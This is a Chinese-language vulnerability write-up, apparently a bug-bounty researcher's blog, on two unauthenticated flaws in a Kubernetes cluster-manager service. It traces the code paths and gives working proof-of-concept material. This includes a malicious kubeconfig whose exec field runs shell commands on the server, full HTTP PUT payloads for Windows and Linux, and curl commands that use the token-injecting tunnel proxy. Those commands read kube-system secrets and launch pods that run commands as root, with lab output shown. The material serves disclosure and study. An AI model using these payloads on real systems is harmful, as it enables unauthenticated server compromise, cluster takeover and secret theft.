未认证 kubeconfig 校验 → 服务端 RCE

internal/actions/cluster/import.go:519-537:用户提交的 kubeconfig 被拿去建立 K8s 客户端。

kubeconfig 是”配置即代码”格式——里面有个 exec 字段(客户端凭证插件),client-go 拿到它后,会在发HTTP 请求之前执行 exec.command 指定的命令。这是 K8s 生态里的经典 RCE 模式。

接下来对 checkKubeConfig 查找引用。

我们接下来看看是否可控,关注 req.Validate() 和 GetKubeConfigFromYAMLBody 方法。

GetKubeConfigFromYAMLBody 方法只解析 YAML 结构,不清理 exec 段;

再看看 req.Validate(),唯一的检查:KubeConfig 字段长度 ≥ 1(非空)。

那么 req.KubeConfig 就是 HTTP body 里的原文,一字不改传到枪口。中间没有任何一层”把exec 字段剥掉”的动作。

然后我们要找谁调用了 CheckKubeConfig#handle 方法。我们首先看到了 NewCheckKubeAction 方法,其实就是实例化一个 CheckKubeConfig。看看能不能通过它来找到方法调用。

成功找到调用。

然后全局搜,找到了RPC调用。

然后我们从main.go方法开始看一下鉴权部分。

位置: internal/auth/preset.go:43。 CheckCloudKubeConfig 列入 NoAuthMethod,完全跳过认证

SkipHandler返回true。SkipHandler 让列表内的方法连身份认证都不做(不只是跳过权限点)。

所以我们接下来就可以准备恶意KubeConfig:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
apiVersion: v1
kind: Config
clusters:
- name: c
cluster:
server: https://127.0.0.1:1
insecure-skip-tls-verify: true
users:
- name: u
user:
exec:
apiVersion: client.authentication.k8s.io/v1beta1
command: cmd.exe
args: ["/c", "echo PWNED_KUBECONFIG_EXEC > C:/Users/TY/Desktop/rce- marker.txt"]
interactiveMode: Never
contexts:
- name: ctx
context: {cluster: c, user: u}
current-context: ctx
1
2
3
4
5
6
7
PUT /clustermanager/v1/cloud/kubeConfig HTTP/1.1
Host: 127.0.0.1:18096
{"kubeConfig": "apiVersion: v1\nkind: Config\nclusters:\n- name: c\n cluster:\n
server: https://127.0.0.1:1\n insecure-skip-tls-verify: true\nusers:\n- name:
u\n user:\n exec:\n apiVersion: client.authentication.k8s.io/v1beta1\n
command: cmd.exe\n args: [\"/c\", \"echo PWNED_BY_Meteor_Kai > C:/Users/TY/Desktop/rce-marker-user.txt\"]\n interactiveMode:
Never\ncontexts:\n- name: ctx\n context:\n cluster: c\n user: u\ncurrent- context: ctx\n"}

这里给出linux版本:

1
2
3
4
5
6
7
8
PUT /clustermanager/v1/cloud/kubeConfig HTTP/1.1
Host: 127.0.0.1:18096
{"kubeConfig": "apiVersion: v1\nkind: Config\nclusters:\n- name: c\n cluster:\n
server: https://127.0.0.1:1\n insecure-skip-tls-verify: true\nusers:\n- name:
u\n user:\n exec:\n apiVersion: client.authentication.k8s.io/v1beta1\n
command: /bin/sh\n args: [\"-c\", \"id > /tmp/bcs_poc_marker_9f3a\"]\n
interactiveMode: Never\ncontexts:\n- name: ctx\n context:\n cluster: c\n
user: u\ncurrent-context: ctx\n"}

未认证集群 API 隧道代理 → 集群接管

bcs-cluster-manager 有一条”把 HTTP 请求转发进集群隧道”的路由——任何人不需要任何凭据,只要 URL 里写上一个集群 ID,服务端会自动取出该集群的管理员令牌、塞进请求头,再把请求转给集群的 kube-apiserver。攻击者等于白借管理员身份操作任意集群(读 Secret、exec 容器、建特权Pod)→ 集群完全接管。

我们先找一下我们的sink: internal/tunnelhandler/k8s/proxier.go:124-125。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// ServeHTTP implements http.Handler
func (f *TunnelProxyDispatcher) ServeHTTP(rw http.ResponseWriter, req
*http.Request) {
blog.V(3).Infof("xreq %s, host %s, url %s, src %s",
utils.GetXRequestIDFromHTTPRequest(req), req.Host, req.URL, req.RemoteAddr)
start := time.Now()
vars := mux.Vars(req)
// Get cluster id
clusterID := vars[f.ClusterVarName]
var proxyHandler *ClusterHandlerInstance
// 先从websocket dialer缓存中查找websocket链
websocketHandler, found, err := f.lookupWsHandler(clusterID)
if err != nil {
blog.Errorf("error when lookup websocket conn, err %s", err.Error())
status := common.NewInternalError(
fmt.Errorf("error when lookup websocket conn, err %s", err.Error()))
status.ErrStatus.Reason = common.ErrorStatusCreateTunnel
common.WriteKubeAPIError(rw, status)
return
}
// if found tunnel, use this tunnel to request to kube-apiserver
if found {
blog.Info("found websocket conn for k8s cluster %s", clusterID)
handlerServer := stripLeaveSlash(f.ExtractPathPrefix(req), websocketHandler)
proxyHandler = &ClusterHandlerInstance{
Handler: handlerServer,
}
credentials, found, err := f.model.GetClusterCredential(context.TODO(), clusterID)
if err != nil {
blog.Errorf("error when get cluster %s credential, err %s", clusterID, err.Error())
status := common.NewInternalError(
fmt.Errorf("error when get cluster %s credential, err %s", clusterID, err.Error()))
status.ErrStatus.Reason = common.ErrorStatusCreateTunnel
common.WriteKubeAPIError(rw, status)
return
}
if !found {
blog.Errorf("cluster %s credential not found", clusterID)
status := common.NewInternalError(
fmt.Errorf("cluster %s credential not found", clusterID))
status.ErrStatus.Reason = common.ErrorStatusCreateTunnel
common.WriteKubeAPIError(rw, status)
return
}
bearerToken := "Bearer " + credentials.UserToken
req.Header.Set("Authorization", bearerToken)
// set request scheme
req.URL.Scheme = "https"
// if webconsole long request, then set the latency before ServerHTTP
if websocket.IsWebSocketUpgrade(req) {
metrics.ReportAPIRequestMetric("k8s_tunnel_request", "websocket", "", start)
}
proxyHandler.Handler.ServeHTTP(rw, req)
if !websocket.IsWebSocketUpgrade(req) {
metrics.ReportAPIRequestMetric("k8s_tunnel_request", req.Method, "", start)
}
return
}
// if clusterID not found websocket connection, cm will forbidden the request
status := common.NewForbiddenError(common.GroupResourceCluster, clusterID,
errors.New("no cluster session can be found using given cluster id"))
common.WriteKubeAPIError(rw, status)}

关键代码如下:

1
2
3
4
5
6
7
vars := mux.Vars(req)
// Get cluster id
clusterID := vars[f.ClusterVarName]
credentials, found, err := f.model.GetClusterCredential(context.TODO(), clusterID)
bearerToken := "Bearer " + credentials.UserToken
req.Header.Set("Authorization", bearerToken)
proxyHandler.Handler.ServeHTTP(rw, req)

这里其实就是按照URL中的 cluster id 从数据库中获取credentials认证。所以攻击者只需要知道一个集群ID。设置好Authorization请求头后,把请求经 websocket 隧道发给集群内的 kubeagent,由kube-agent 带着这枚令牌去打kube-apiserver。整段代码没有任何一处检查调用者身份、也没有方法/路径限制——GET/POST/PUT/DELETE 和任意 K8s 子路径都照转。

然后我们往回找,看看哪里调用了。我们全局搜 NewTunnelProxyDispatcher 即可。

这里一条路就很清楚了。我们可以通过请求 /clustermanager/clusters/{cluster_id}/{sub_path:.*} 路由,服务端会自动取出该集群的管理员令牌、塞进请求头,再把请求转给集群的 kube-apiserver。然后我们关注的是后面的sub_path,应该是我们可控的请求路径。

回到proxifier.go:

1
2
3
4
handlerServer := stripLeaveSlash(f.ExtractPathPrefix(req), websocketHandler)
proxyHandler = &ClusterHandlerInstance{
Handler: handlerServer,}
proxyHandler.Handler.ServeHTTP(rw, req)

这里调用的相当于是 stripLeaveSlash(f.ExtractPathPrefix(req), websocketHandler) 的ServeHTTP 方法。有对前缀的处理之类的。我们跟进看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
func (f *TunnelProxyDispatcher) ExtractPathPrefix(req *http.Request) string {
subPath := mux.Vars(req)[f.SubPathVarName]
fullPath := req.URL.Path
// We need to strip the prefix string before the request can be forward to
apiserver, so we will walk over the full
// request path backwards, everything before the `sub_path` will be the prefix
we need to strip
return fullPath[:len(fullPath)-len(subPath)]}
// like http.StripPrefix, but always leaves an initial slash. (so that our
// regexps will work.)
func stripLeaveSlash(prefix string, h http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
blog.Debug(fmt.Sprintf("begin proxy for: %s", req.URL.Path))
p := strings.TrimPrefix(req.URL.Path, prefix)
if len(p) >= len(req.URL.Path) {
http.NotFound(w, req)
return
}
if len(p) > 0 && p[:1] != "/" {
p = "/" + p
}
req.URL.Path = p
h.ServeHTTP(w, req)
})}

ExtractPathPrefix 是取出前端那段, stripLeaveSlash 是删掉取出的前端那段,保留我们的sub_path。

现在就可以构造payload了,在kali上搭建一个环境:

http://127.0.0.1:18096/clustermanager/clusters/BCS-K8S-POC/api/v1/namespaces http://127.0.0.1:18096/clustermanager/clusters/BCS-K8S-POC/api/v1/namespaces/kubesystem/secrets上述其实已经可以接管一个集群了。甚至可以通过特权pod方式来进行rce:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
BASE=http://127.0.0.1:18096/clustermanager/clusters/BCS-K8S-POC
NS=poc-target
┌──(root㉿kali)-[~]
└─# curl -s -X POST $BASE/api/v1/namespaces/$NS/pods \
-H 'Content-Type: application/json' \
-d '{
"apiVersion":"v1","kind":"Pod",
"metadata":{"name":"unauth-rce-pod","namespace":"poc-target"},
"spec":{"restartPolicy":"Never","activeDeadlineSeconds":120,
"containers":[{"name":"app","image":"busybox:1.36",
"command":["/bin/sh","-c","echo RCE_POD_OK; id; uname -a"]}]}
}' -o /dev/null -w '%{http_code}\n'
201
┌──(root㉿kali)-[~]
└─# sleep 8
┌──(root㉿kali)-[~]
└─# curl -s $BASE/api/v1/namespaces/$NS/pods/unauth-rce-pod/log
RCE_POD_OK
uid=0(root) gid=0(root) groups=0(root),10(wheel)
Linux unauth-rce-pod 6.18.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.18.12-1kali1
(2026-02-25) x86_64 GNU/Linux
┌──(root㉿kali)-[~]
└─# curl -s -X POST $BASE/api/v1/namespaces/$NS/pods \
-H 'Content-Type: application/json' \
-d '{
"apiVersion":"v1","kind":"Pod",
"metadata":{"name":"unauth-rce-pod1","namespace":"poc-target"},
"spec":{"restartPolicy":"Never","activeDeadlineSeconds":120,
"containers":[{"name":"app","image":"busybox:1.36",
"command":["/bin/sh","-c","echo RCE_POD_OK; whoami; ifconfig"]}]}
}' -o /dev/null -w '%{http_code}\n'
201
┌──(root㉿kali)-[~]
└─# sleep 8
┌──(root㉿kali)-[~]
└─# curl -s $BASE/api/v1/namespaces/$NS/pods/unauth-rce-pod1/log
RCE_POD_OK
root
eth0 Link encap:Ethernet HWaddr C2:F5:6A:B8:FB:DB
inet addr:10.244.0.13 Bcast:10.244.0.255 Mask:255.255.255.0
inet6 addr: fe80::c0f5:6aff:feb8:fbdb/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:5 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:446 (446.0 B) TX bytes:516 (516.0 B)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

危害性相当大!!!

注

这里说一件让我感到非常痛苦的事情:我把这个RCE同时交了CNVD和TSRC,TSRC说我同时交给了CNVD,所以原本的3000+赏金泡汤了。oh no,我真的不知道。